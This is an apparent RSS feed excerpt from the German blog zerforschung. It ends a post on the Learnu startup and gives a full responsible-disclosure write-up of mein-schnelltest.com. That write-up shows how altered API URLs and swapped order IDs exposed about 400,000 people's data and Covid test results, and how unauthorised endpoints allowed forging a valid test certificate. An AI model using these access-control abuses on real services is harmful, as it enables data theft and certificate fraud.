&lt;h3 id=&#34;aber-ich-bin-doch-klein-ich-brauche-keinen-datenschutz-&#34;&gt;Aber ich bin doch klein, ich brauche keinen Datenschutz 🥺&lt;/h3&gt;
&lt;p&gt;Hier kommen wir zum zweiten Problem:
&lt;strong&gt;Viele Startups denken, die Spielregeln gelten für sie nicht.&lt;/strong&gt;
&lt;a href=&#34;https://zerforschung.org/posts/scoolio#aber-wir-sind-doch-ein-startup&#34;&gt;Schon scoolio hat uns erzählt&lt;/a&gt;, dass sie als Startup nicht die Möglichkeit hätten, sichere Software zu bauen.
Dabei ist sichere Software und Datenschutz keine nette Zugabe, die man vielleicht mal einbauen kann, wenn gerade Geld und Zeit übrig sind — und seien wir ehrlich, das sind sie nie.
Denn die DSGVO gilt auch für Startups.
Wenn ein Produkt reif genug ist, um Kund*innen-Daten speichern zu können, dann muss es auch reif genug sein, diese für sich zu behalten.&lt;/p&gt;
&lt;h3 id=&#34;nach-uns-die-sintflut&#34;&gt;Nach uns die Sintflut&lt;/h3&gt;
&lt;p&gt;Ein drittes Problem: &lt;strong&gt;Die Konsequenzen für andere werden ignoriert.&lt;/strong&gt;
Denn wenn die Gründer von ihrem Vorbild Mark Zuckerberg und dessen Ignoranz (&amp;ldquo;The biggest risk you can take is not taking any risks&amp;rdquo;) schwärmen, müssen wir fragen, ob das die richtigen Vorbilder sind.
Wenn das Vorbild ein Unternehmen ist, das &lt;a href=&#34;https://netzpolitik.org/2021/vertuschte-skandale-facebook-ist-einfach-nicht-zu-trauen/&#34;&gt;wissentlich Nutzer*innen manipuliert, Hass und Hetze schürt und vieles mehr&lt;/a&gt;, dann braucht man sich nicht wundern, wenn ihnen der Schutz der persönlichen Daten anderer egal ist.&lt;/p&gt;
&lt;p&gt;Wann immer es um &amp;ldquo;digitale Innovation&amp;rdquo; geht, muss klar sein: Nur weil etwas digital ist, ist es nicht automatisch gut. Unsere Gesellschaft muss dringend lernen, neue Apps oder Plattformen nicht blind zu bejubeln – sondern sie zu hinterfragen und zu prüfen. Trotzdem ist auch klar: Diese Aufgabe kann nicht bei den einzelnen Nutzer*innen liegen.&lt;/p&gt;
&lt;h3 id=&#34;heading-2&#34;&gt;👀&lt;/h3&gt;
&lt;p&gt;Deshalb ist das vierte Problem: &lt;strong&gt;Fehlende Kontrolle durch die zuständigen Stellen.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Durch die DSGVO gibt es eine größtenteils sehr gute Rechtsgrundlage für Datenschutz.
Diese muss aber auch durchgesetzt werden.
Unsere Zusammenarbeit mit den Datenschutzbehörden ist stets sehr gut gewesen, aber diese fangen oft erst an zu arbeiten, nachdem wir (und andere) von extern die Probleme gefunden und an sie herangetragen haben.&lt;/p&gt;
&lt;p&gt;Und um das zu ändern braucht es mehr Leute, Ressourcen und Kompetenzen in den Datenschutzbehörden.
Diese müssen endlich auch von sich aus nach solchen Problemen Ausschau halten und bei Verstößen empfindliche Strafen verhängen können.&lt;/p&gt;
&lt;h2 id=&#34;timeline&#34;&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;2021-10-18 – Meldung an CERT-Bund, LDI NRW und Learnu&lt;/li&gt;
&lt;li&gt;2021-10-20 – Aufgrund ausgebliebener Reaktion: nochmalige Nachfrage des CERT-Bund bei Learnu&lt;/li&gt;
&lt;li&gt;2021-10-20 ab 12:30 Uhr – mehrere Anrufversuche bei Learnu&lt;/li&gt;
&lt;li&gt;2021-10-20 13:53 Uhr – Learnu bestätigt die gemeldeten Lücken zu überprüfen&lt;/li&gt;
&lt;li&gt;2021-10-20 ~23 Uhr – bei routinemäßiger Überprüfung stellen wir fest, dass Learnu offline ist&lt;/li&gt;
&lt;li&gt;2021-10-29 – Nachfrage des CERT-Bund bei uns ob die Lücken geschlossen wurden, da keine weitere Reaktion von Learnu&lt;/li&gt;
&lt;li&gt;2021-10-29 15:09 Uhr – letzte Fristsetzung für Learnu unsererseits, zum 03.11.2021 12:00 UTC&lt;/li&gt;
&lt;li&gt;2021-10-29 – Telefonat mit Learnu, Bestätigung dass Learnu offline bleibt&lt;/li&gt;
&lt;li&gt;2021-11-11 – Veröffentlichung dieses Blogposts&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	Wenn ihr zerforschung unterstützen wollt, findet ihr hier Möglichkeiten: &lt;a href=&#34;https://zerforschung.org/unterstuetzen/&#34;&gt;https://zerforschung.org/unterstuetzen/&lt;/a&gt;
&lt;/div&gt;
&lt;hr&gt;
&lt;p&gt;Titelbild basierend auf &amp;ldquo;&lt;a href=&#34;https://commons.wikimedia.org/wiki/File:France_in_XXI_Century._School.jpg&#34;&gt;France in XXI Century - Future School&lt;/a&gt;&amp;rdquo; aus der Bilderreihe &lt;a href=&#34;https://en.wikipedia.org/wiki/En_L%27An_2000&#34;&gt;En L&amp;rsquo;An 2000&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Das Bild enthält folgende Creative Commons lizensierten Werke:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://commons.wikimedia.org/wiki/User:Sebwes89&#34;&gt;Sebwes89&lt;/a&gt;, &lt;a href=&#34;https://commons.wikimedia.org/wiki/File:Frank_Thelen_Portrait.jpg&#34;&gt;Frank Thelen Portrait&lt;/a&gt;, &lt;a href=&#34;https://creativecommons.org/licenses/by-sa/4.0/legalcode&#34;&gt;CC BY-SA 4.0&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Sandro Halank, Wikimedia Commons, CC BY-SA 4.0, &lt;a href=&#34;https://commons.wikimedia.org/wiki/File:2020-02-14_Christian_Lindner_(Bundestagsprojekt_2020)_by_Sandro_Halank%E2%80%932.jpg&#34;&gt;2020-02-14 Christian Lindner (Bundestagsprojekt 2020) by Sandro Halank–2&lt;/a&gt;, &lt;a href=&#34;https://creativecommons.org/licenses/by-sa/4.0/legalcode&#34;&gt;CC BY-SA 4.0&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://commons.wikimedia.org/wiki/User:Freie_Demokratische_Partei&#34;&gt;Freie Demokratische Partei&lt;/a&gt;, &lt;a href=&#34;https://commons.wikimedia.org/wiki/File:Sebastian_Czaja_2016_(cropped).jpg&#34;&gt;Sebastian Czaja 2016 (cropped)&lt;/a&gt;, &lt;a href=&#34;https://creativecommons.org/licenses/by-sa/3.0/de/legalcode&#34;&gt;CC BY-SA 3.0 DE&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://commons.wikimedia.org/wiki/User:Steschke&#34;&gt;Sven Teschke&lt;/a&gt;, &lt;a href=&#34;https://commons.wikimedia.org/wiki/File:2013-08-23_-_Wolfgang_Kubicki_-_8689.jpg&#34;&gt;2013-08-23 - Wolfgang Kubicki - 8689&lt;/a&gt;, &lt;a href=&#34;https://creativecommons.org/licenses/by-sa/3.0/de/legalcode&#34;&gt;CC BY-SA 3.0 DE&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;© Raimond Spekking / CC BY-SA 4.0 (via Wikimedia Commons), &lt;a href=&#34;https://commons.wikimedia.org/wiki/File:FDP-Wahlkampfkundgebung_in_der_Wolkenburg_K%C3%B6ln-2136.jpg&#34;&gt;FDP-Wahlkampfkundgebung in der Wolkenburg Köln-2136&lt;/a&gt;, &lt;a href=&#34;https://creativecommons.org/licenses/by-sa/4.0/legalcode&#34;&gt;CC BY-SA 4.0&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://commons.wikimedia.org/wiki/User:Martin_Kraft&#34;&gt;Martin Kraft&lt;/a&gt;, &lt;a href=&#34;https://commons.wikimedia.org/wiki/File:MJK00601_Nicola_Beer.jpg&#34;&gt;MJK00601 Nicola Beer&lt;/a&gt;, &lt;a href=&#34;https://creativecommons.org/licenses/by-sa/3.0/legalcode&#34;&gt;CC BY-SA 3.0&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&#34;footnotes&#34; role=&#34;doc-endnotes&#34;&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id=&#34;fn:1&#34;&gt;
&lt;p&gt;Der Name setzt sich laut den Gründer*innen aus den Begriffen &amp;ldquo;lernen&amp;rdquo; (&amp;ldquo;learn&amp;rdquo;), &amp;ldquo;verdienen&amp;rdquo; (&amp;ldquo;earn&amp;rdquo;) und &amp;ldquo;du&amp;rdquo; (&amp;ldquo;u&amp;rdquo;) zusammen. 🤡&amp;#160;&lt;a href=&#34;#fnref:1&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:2&#34;&gt;
&lt;p&gt;Liste der standardmäßig vertrauten Zertifizierungsstellen in &lt;a href=&#34;https://ccadb-public.secure.force.com/microsoft/IncludedCACertificateReportForMSFT&#34;&gt;Windows&lt;/a&gt; und &lt;a href=&#34;https://support.apple.com/de-de/HT209144#trusted&#34;&gt;iOS / macOS&lt;/a&gt;&amp;#160;&lt;a href=&#34;#fnref:2&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:3&#34;&gt;
&lt;p&gt;Die Authentifizierungs-Schlüssel hier sind natürlich JSON-Web-Tokens, die wir jetzt mit dem Secret signieren und validieren können.&amp;#160;&lt;a href=&#34;#fnref:3&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:4&#34;&gt;
&lt;p&gt;Das ist auch eigentlich gar kein Problem, wenn die API ausreichend geschützt ist. Und wenn die API nicht genug geschützt ist, dann ist &lt;a href=&#34;https://de.wikipedia.org/wiki/Security_through_obscurity&#34;&gt;Security by Obscurity&lt;/a&gt; auch keine Lösung.&amp;#160;&lt;a href=&#34;#fnref:4&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:5&#34;&gt;
&lt;p&gt;26 hoch 3 = 17576&amp;#160;&lt;a href=&#34;#fnref:5&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:6&#34;&gt;
&lt;p&gt;&lt;a href=&#34;https://en.internetwache.org/dont-publicly-expose-git-or-how-we-downloaded-your-websites-sourcecode-an-analysis-of-alexas-1m-28-07-2015/&#34;&gt;https://en.internetwache.org/dont-publicly-expose-git-or-how-we-downloaded-your-websites-sourcecode-an-analysis-of-alexas-1m-28-07-2015/&lt;/a&gt;&amp;#160;&lt;a href=&#34;#fnref:6&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:7&#34;&gt;
&lt;p&gt;PHP ist eine interpretierte Sprache, das bedeutet, dass der Server beim Abruf der Seite den Code ausführt und &lt;em&gt;nur das Ergebnis&lt;/em&gt; an den Browser liefert. Dafür muss der Webserver allerdings so konfiguriert sein, dass &lt;code&gt;.php&lt;/code&gt; Dateien an den PHP-Interpreter übergeben werden statt sie direkt auszuliefern.&amp;#160;&lt;a href=&#34;#fnref:7&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</description>
    </item>
    
    <item>
      <title>Wie wir plötzlich Robert Koch waren</title>
      <link>https://zerforschung.org/posts/meinschnelltest/</link>
      <pubDate>Wed, 10 Nov 2021 05:50:00 +0100</pubDate>
      
      <guid>https://zerforschung.org/posts/meinschnelltest/</guid>
      <description>&lt;p&gt;&lt;img src=&#34;https://zerforschung.org/p/meinschnelltest/titelbild.png&#34; alt=&#34;Robert Koch steht neben einem Corona-Bike und sagt &amp;amp;lsquo;1 Bürgitest bidde!&amp;amp;rsquo;&#34;&gt;&lt;/p&gt;
&lt;p&gt;Corona geht in die vierte Welle. Ein guter Zeitpunkt, um unser Lieblingsthema „Corona-Testzentren“ wieder aus der Schublade zu holen. Wir wollen schauen, ob die Testanbieter mittlerweile was aus den Fehlern ihrer Vorgänger*innen gelernt haben. Spoiler: Haben sie nicht. Aber eins nach dem anderen.&lt;/p&gt;
&lt;p&gt;Wer sich in Berlin schon einmal schnelltesten lassen hat, kennt sie vielleicht: Die leuchtend orangenen Test-Stationen von schnelltestberlin.de oder die Coronabikes. Das sind Lastenräder mit einer kleinen Teststation, die oft vor Clubs, Supermärkten und Museen stehen.&lt;/p&gt;
&lt;p&gt;Was all diese Teststationen gemeinsam haben:
Sie nutzen das gleiche Online-System, um die Testergebnisse mitzuteilen – mein-schnelltest.com.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://zerforschung.org/p/meinschnelltest/login.png&#34; alt=&#34;Login-Seite von mein-schnelltest.com&#34;&gt;&lt;/p&gt;
&lt;p&gt;Kurz bevor die Corona-Schnelltests am 11. Oktober für die meisten Menschen kostenpflichtig wurden, waren wir bei einer dieser Stationen.&lt;/p&gt;
&lt;p&gt;Eigentlich wollten wir keine Teststationen mehr zerforschen – ein paar Tage später hat uns die Neugier aber doch gepackt: Wir gehen nochmal auf die Webseite, um unser Testergebnis abzurufen.&lt;/p&gt;
&lt;h2 id=&#34;heading&#34;&gt;👁️👄👁️&lt;/h2&gt;
&lt;p&gt;Wie üblich schauen wir uns als allererstes die Entwicklungs-Tools unseres Browsers an. Dabei ist der Network-Tab besonders interessant für uns, denn dort kann man sich anschauen, welche Daten die Website so abruft.&lt;/p&gt;
&lt;p&gt;Eine der ersten Anfragen, die uns auffällt, geht an &lt;code&gt;https://corona-api.de/persons/owner/{USER_ID}&lt;/code&gt;, wobei &lt;code&gt;USER_ID&lt;/code&gt; natürlich die Nummer unseres Accounts ist – z.B. &lt;code&gt;612341213acab23425251e21&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Also kopieren wir diese Anfrage ganz naiv in unseren API-Client und probieren etwas rum.
Als erstes entfernen wir die &lt;code&gt;USER_ID&lt;/code&gt; &amp;ndash; also &lt;code&gt;612341213acab23425251e21&lt;/code&gt; am Ende der URL. Also wird unsere URL zu&amp;quot;https://corona-api.de/persons/owner/&amp;quot;. Wir erhalten eine Fehlermeldung.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://zerforschung.org/p/meinschnelltest/fehlermeldung1.png&#34; alt=&#34;Ein Request an https://corona-api.de/persons/owner/, der mit einem 404 Not Found beantwortet wird&#34;&gt;&lt;/p&gt;
&lt;p&gt;Naja, dann probieren wir eben noch etwas weiter und löschen noch das &lt;code&gt;owner/&lt;/code&gt; aus der URL. Doch wieder kommt eine Fehlermeldung:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://zerforschung.org/p/meinschnelltest/fehlermeldung2.png&#34; alt=&#34;Ein Request an https://corona-api.de/persons/, der mit einem 404 Not Found beantwortet wird&#34;&gt;&lt;/p&gt;
&lt;p&gt;Einen Versuch wagen wir noch und entfernen das &lt;code&gt;/&lt;/code&gt; am Ende der URL. Und tada:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://zerforschung.org/p/meinschnelltest/persons.png&#34; alt=&#34;Einer Liste von Personen, die auf mein-schnelltest.com registriert sind&#34;&gt;&lt;/p&gt;
&lt;p&gt;Uns fällt eine Liste mit den Personen, die auf der Plattform registriert sind, entgegen.
Insgesamt fast 400.000 mit allen Daten, die bei einem Corona-Test eben so erfasst werden:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Name&lt;/li&gt;
&lt;li&gt;E-Mail-Adresse&lt;/li&gt;
&lt;li&gt;Geburtsdatum&lt;/li&gt;
&lt;li&gt;Geschlecht&lt;/li&gt;
&lt;li&gt;Telefonnummer&lt;/li&gt;
&lt;li&gt;Adresse&lt;/li&gt;
&lt;li&gt;Pass-/Ausweisnummer (falls angegeben, häufig aber vorhanden)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;wir-kennen-eure-testergebnisse-mal-wieder&#34;&gt;Wir kennen eure Testergebnisse (mal wieder)&lt;/h2&gt;
&lt;p&gt;Zu jeder Person gibt es außerdem ein Feld namens &lt;code&gt;orders&lt;/code&gt;, in dem die Order-IDs dieser Person stehen. Die Tests werden im System von mein-schnelltest.com &lt;em&gt;orders&lt;/em&gt; genannt, also eigentlich Bestellungen.&lt;/p&gt;
&lt;p&gt;Als wir unser eigenes Testergebnis als PDF abrufen, erhalten wir dieses von dem Schnittstellen-Endpunkt &lt;code&gt;https://corona-api.de/orders/downloadPdf/{ORDER_ID}&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Jetzt sind wir neugierig und probieren mal, dort eine andere Order-ID einzufügen – und schon erhalten wir das Testergebnis einer anderen Person.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://zerforschung.org/p/meinschnelltest/fremdes-testergebnis.png&#34; alt=&#34;Screenshot eines Schnelltest-Ergebnisses, alle persönlichen Daten sind zensiert&#34;&gt;&lt;/p&gt;
&lt;p&gt;Das heißt: Der Server überprüft nicht, ob das Testergebnis, das wir abrufen auch wirklich unser eigenes ist. Da wir eingeloggt sind, sollte dieser Abgleich eigentlich kein Problem sein.&lt;/p&gt;
&lt;p&gt;Anhand der Personenliste können wir abschätzen, dass es fast 700.000 Testergebnisse waren, die so quasi offen im Netz abrufbar waren.&lt;/p&gt;
&lt;h2 id=&#34;kommt-ein-177-jähriger-zum-corona-test-und-sagt-&#34;&gt;Kommt ein 177-Jähriger zum Corona-Test und sagt …&lt;/h2&gt;
&lt;p&gt;Doch wir können nicht nur hunderttausende Testergebnisse abrufen, sondern es kommt noch schlimmer:
Im Quellcode entdecken wir auch die Endpunkte, über die die Mitarbeiter*innen einen neuen Test im System anlegen und das Testergebnis speichern.&lt;/p&gt;
&lt;p&gt;Dass wir diese Endpunkte kennen, ist an sich kein Problem. Denn der Server sollte eigentlich prüfen, ob wir berechtigt sind, diese zu nutzen – also ob wir in einer Teststelle arbeiten und im System entsprechend freigeschaltet sind.&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;
Trotzdem versuchen wir, mit unserem Account einen Test anzulegen.
Und siehe da:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://zerforschung.org/p/meinschnelltest/orders-new.png&#34; alt=&#34;Screenshot des Requests, mit dem ein neuer Test im System angelegt wird&#34;&gt;&lt;/p&gt;
&lt;p&gt;Wir können selbst einen Test anlegen und auch problemlos das Testergebnis speichern:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://zerforschung.org/p/meinschnelltest/orders-confirmTestResult.png&#34; alt=&#34;Screenshot des Requests, mit dem das Testergebnis im System hinterlegt wird&#34;&gt;&lt;/p&gt;
&lt;p&gt;Das heißt: Jetzt können wir für jede beliebige Person einen Test erstellen.&lt;/p&gt;
&lt;p&gt;Natürlich nehmen wir zum Ausprobieren eine offensichtlich historische Person&lt;sup id=&#34;fnref:2&#34;&gt;&lt;a href=&#34;#fn:2&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;2&lt;/a&gt;&lt;/sup&gt;, damit das Test-Zertifikat auf keinen Fall missbraucht werden kann. Wir erstellen also einen PCR-Test für Robert Koch.
Und wir können zum Glück mitteilen:
Sein Testergebnis war negativ – wir wollen uns gar nicht ausmalen, was für ein Risiko eine Coronainfektion für ihn mit seinen 177 Jahren wäre.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://zerforschung.org/p/meinschnelltest/robert-testergebnis.png&#34; alt=&#34;PCR-Testergebnis von Robert Koch, geboren 1843&#34;&gt;&lt;/p&gt;
&lt;p&gt;Das Zertifikat enthält alles: Name, optional Passnummer und sogar einen &lt;a href=&#34;https://www.baercode.de/&#34;&gt;BärCODE&lt;/a&gt;, der auch als gültig erkannt wird. Soweit wir wissen, kann der BärCODE auch nicht wieder ungültig gemacht werden, &lt;a href=&#34;https://twitter.com/zerforschung/status/1408358550280228864&#34;&gt;so wie wir es beim digitalen Impfzertifikat schon mal beschrieben haben&lt;/a&gt;.&lt;sup id=&#34;fnref:3&#34;&gt;&lt;a href=&#34;#fn:3&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://zerforschung.org/p/meinschnelltest/robert-baercode.png&#34; alt=&#34;BärCODE-Validierungsseite zeigt &amp;amp;ldquo;BärCODE gültig&amp;amp;rdquo; für Robert Koch, geboren 1843&#34;&gt;&lt;/p&gt;
&lt;p&gt;Da wir nicht wissen, welche Prozesse bei einem positiven Testergebnis automatisch ausgelöst werden, haben wir uns dagegen entschieden, auch ein positives Testergebnis zu generieren.
Wir gehen allerdings davon aus, dass dies ebenfalls problemlos möglich gewesen wäre.&lt;/p&gt;
&lt;h2 id=&#34;-youve-got-mail&#34;&gt;📬 You&amp;rsquo;ve got mail!&lt;/h2&gt;
&lt;p&gt;Wie immer haben wir auch diesmal ein Responsible-Disclosure-Verfahren eingeleitet, unmittelbar nachdem wir die Lücken gefunden haben.
Dafür dokumentieren wir die Lücken feinsäuberlich und informieren das CERT-Bund, den Hersteller und die zuständigen Landesdatenschutzbeauftragten – in diesem Fall für Berlin die Berliner Beauftragte für Datenschutz und Informationsfreiheit.&lt;/p&gt;
&lt;p&gt;Der Hersteller hat dann innerhalb kurzer Zeit alle beschriebenen Lücken geschlossen und eine weitere Analyse eingeleitet.
Besonders gründlich kann diese aber nicht gewesen sein, denn die Testergebnisse für Robert Koch in unserem Account existieren weiterhin:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://zerforschung.org/p/meinschnelltest/robert-liste.png&#34; alt=&#34;Liste von Schnelltests, die Mitten in der Nacht erstellt wurden&#34;&gt;&lt;/p&gt;
&lt;p&gt;Das Unternehmen hat die betroffenen Kund*innen bisher nicht benachrichtigt.
Dabei war in den vergangenen drei Wochen wirklich genug Zeit, das zu tun.&lt;/p&gt;
&lt;p&gt;Wir hoffen, dass sie es noch tun und wirklich alle rund 400.000 betroffenen Kund*innen gründlich über alle Details informieren.&lt;/p&gt;
&lt;h2 id=&#34;fazit&#34;&gt;Fazit&lt;/h2&gt;
&lt;p&gt;Wie schon bei den letzten Testzentren-Artikeln sind wir fassungslos, wie fahrlässig hier mit den persönlichen Daten von hunderttausenden Menschen umgegangen wird.&lt;/p&gt;
&lt;p&gt;Wer eine solche Software anbietet, &lt;strong&gt;muss&lt;/strong&gt; dafür sorgen, dass diese läuft, &lt;em&gt;ohne&lt;/em&gt; Daten zu verlieren – auch das ist ein wichtiger Teil des Datenschutzes.
Wenn eine Software marktreif genug ist, um Kund*innen-Daten zu speichern, muss sie auch reif genug sein, diese Daten für sich zu behalten.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://zerforschung.org/p/meinschnelltest/bartup.png&#34; alt=&#34;Bart Simpson schreibt mehrfach &amp;amp;ldquo;Wenn eine Software marktreif genug ist, um Kund*innen-Daten zu speichern, muss sie auch reif genug sein, diese Daten für sich zu behalten.&amp;amp;rdquo; an eine Tafel&#34;&gt;&lt;/p&gt;
&lt;p&gt;Das bedeutet unserer Ansicht nach nicht nur, dass ein Anbieter fähig sein sollte, seine Datenbank so zu konfigurieren, dass diese nicht für jeden zugänglich im Internet steht. Sondern eigentlich: absolute Minimierung der anfallenden Daten und E2E-verschlüsselte Kommunikation – insbesondere im Kontext medizinischer Daten.&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://www.baden-wuerttemberg.datenschutz.de/pandemie-bekaempfung-datenschutz-in-testzentren/&#34;&gt;Eine gute Übersicht über weitere sinnvolle Maßnahmen gibt es beim Landesdatenschutz Baden-Württemberg.&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&#34;der-markt-regelt-das--nicht&#34;&gt;Der Markt regelt das … nicht&lt;/h3&gt;
&lt;p&gt;Im Fall der Testzentren wurde eine Aufgabe, die eigentlich der Staat und die gesetzlichen Krankenversicherungen erfüllen sollten, dem Markt überlassen.
Nach unserer Einschätzung haben die letzten Artikel auf diesem und anderen Blogs ausgiebig gezeigt, dass das nicht funktioniert.&lt;/p&gt;
&lt;p&gt;Dabei gibt es von staatlicher Seite inzwischen sogar eine Lösung für das Problem:
Die Corona-Warn-App, die seit Version 2.4, also 24. Juni 2021, auch Schnelltests unterstützt.&lt;/p&gt;
&lt;p&gt;Dabei ist die digitale Übertragung der Testergebnisse sinnvoll und datensparsam gelöst und es wurde schon beim Systementwurf auf Datensicherheit geachtet.
Warum immer noch Unternehmen ihre selbstgeklöppelte Testsoftware einsetzen, können wir nicht nachvollziehen.&lt;/p&gt;
&lt;p&gt;Wir fordern deshalb, dass zukünftig kostenfreie Bürger*innen-Tests nur noch über die CWA oder analog abgewickelt werden dürfen. Der Markt hat das nicht geregelt. Der Markt regelt nie irgendwas.&lt;/p&gt;
&lt;h3 id=&#34;heading-1&#34;&gt;😫&lt;/h3&gt;
&lt;p&gt;Wir fordern in jedem dieser Artikel, dass die Datenschutzbehörden endlich empfindliche Strafen gegen Unternehmen verhängen, die so sorglos mit Daten umgehen.
Die Mühlen der Bürokratie mahlen langsam, das ist uns bewusst.
Aber nach 8 Monaten, seitdem &lt;a href=&#34;https://zerforschung.org/posts/medicus/&#34;&gt;wir das erste Mal eine Sicherheitslücke bei einem Schnelltestanbieter gefunden haben&lt;/a&gt;, wird es langsam mal Zeit.&lt;/p&gt;
&lt;p&gt;Allerdings sind auch wir, die wir viele Stunden ehrenamtlich in Analysen von Testzentren und die Kommunikation mit Behörden und Softwareherstellern gesteckt haben, mittlerweile ziemlich frustriert.
Wir sehen kaum Verbesserung seitens der Anbieter oder Regulierungsversuche durch die Politik.&lt;/p&gt;
&lt;p&gt;Uns ist bewusst, dass die Datenschutzbehörden der Länder völlig überlastet sind und sich freuen, wenn die Firma, gegen die sie ermitteln, auch am Ende der Ermittlung noch existiert.
Allerdings sind sie auch unsere letzte Hoffnung:
Bitte verhängt endlich Strafen bei grob fahrlässigen Datenabflüssen – insbesondere im Gesundheitssektor.
Denn Markt und auch Politik haben hier versagt.&lt;/p&gt;
&lt;h3 id=&#34;danke&#34;&gt;Danke&lt;/h3&gt;
&lt;p&gt;Vielen Dank an die Berliner Datenschutzbeauftragte, das CERT-Bund und den rbb für die gute Zusammenarbeit 🤝.
Wir glauben: Nur wenn Sicherheitslücken möglichst sichtbar sind, können wir sie verstehen und vermeiden.
Den Artikel von rbb24 über die Lücke findet ihr hier: &lt;a href=&#34;https://www.rbb24.de/panorama/thema/corona/beitraege/2021/11/schnelltest-berlin-pcr-gefaelscht-datenleck.html&#34;&gt;https://www.rbb24.de/panorama/thema/corona/beitraege/2021/11/schnelltest-berlin-pcr-gefaelscht-datenleck.html&lt;/a&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	Wenn ihr zerforschung unterstützen wollt, findet ihr hier Möglichkeiten: &lt;a href=&#34;https://zerforschung.org/unterstuetzen/&#34;&gt;https://zerforschung.org/unterstuetzen/&lt;/a&gt;
&lt;/div&gt;
&lt;div class=&#34;footnotes&#34; role=&#34;doc-endnotes&#34;&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id=&#34;fn:1&#34;&gt;
&lt;p&gt;Wir arbeiten nicht in einem Testzentrum.&amp;#160;&lt;a href=&#34;#fnref:1&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:2&#34;&gt;
&lt;p&gt;in der ersten Fassung haben wir hier &amp;ldquo;fiktive Person&amp;rdquo; geschrieben, das war natürlich Quatsch&amp;#160;&lt;a href=&#34;#fnref:2&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:3&#34;&gt;
&lt;p&gt;&lt;strong&gt;Offenlegung&lt;/strong&gt;: Wir wurden vor längerer Zeit angefragt, ob wir uns den BärCODE sicherheitstechnisch angucken wollen. Aus Kapazitätsgründen haben wir auf diese Anfrage nicht reagiert. Außerdem machen wir generell keine Auftragsarbeiten für Software-Hersteller.&amp;#160;&lt;a href=&#34;#fnref:3&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</description>
    </item>
    
    <item>
      <title>Scoolio – Kellerbesichtigung des Grauens</title>
      <link>https://zerforschung.org/posts/scoolio/</link>
      <pubDate>Tue, 26 Oct 2021 06:30:00 +0200</pubDate>
      
      <guid>https://zerforschung.org/posts/scoolio/</guid>
